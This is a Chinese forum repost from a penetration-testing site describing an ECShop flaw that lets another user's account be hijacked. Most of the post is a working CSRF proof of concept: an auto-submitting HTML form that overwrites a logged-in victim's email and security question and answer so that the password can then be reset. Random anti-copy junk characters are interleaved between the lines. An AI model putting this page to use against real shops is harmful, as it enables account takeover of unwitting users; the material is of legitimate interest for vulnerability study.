中国网络渗透测试联盟
标题:
ecshop修改任意用户密码漏洞的CSRF利用
[打印本页]
作者:
admin
时间:
2013-2-20 08:30
标题:
ecshop修改任意用户密码漏洞的CSRF利用
简要描述:
: ?6 ?2 Y6 C* c7 v
ecshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
: j$ K4 ~/ F1 K: p/ k
3 t- ]2 @( \# l E7 ]1 g
Demo For:
http://www.wooyun.org/bug.php?action=view&id=395
6 }* \+ j h, g
( r0 D0 u/ L, v* R
详细说明:
' M" l; j1 G. G
利用csrf和xss可以突破官方所说的“障碍”
8 T m% c: _8 t2 o7 k3 c
xss版本已经有人说明
( L' v1 k* l# s& y
这里给出csrf版本
b0 o& Z: V! S5 n" q& O2 h/ B" r
& N# Z% b1 T8 T1 [. G) l
漏洞证明:
3 W3 H* n+ y/ P7 f: V1 E. ?/ [# K
<html>
0 P' O' \2 z1 ^4 M S0 k) t9 b
<body>
* J& m! q& r* W) _# o% [
<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
# F5 E" v/ B7 g' p5 n, n2 q8 R
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
! E4 y8 N) c) s2 G* x- n8 @
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
! K6 i9 C% y. ?3 R5 k# [' H
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
a& i: m7 L/ W. E0 ~0 O1 k7 s
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
# K6 B8 \. Q1 x& U
</body>
3 C3 b' h& F' R; X0 G( H
<script>
% M3 Q T; m C; D6 r7 u* [
document.forms[0].submit();
2 g7 L" y+ L8 A' j& N" ?% ^
</script>
/ I9 k, V5 p: O' m! u! D3 O3 Y
</html>
& ]3 G p+ ]. `5 t* C
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
5 \6 k8 r4 ?) s1 Y0 h( e h
3 t5 f% U) s; ^7 m& R
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2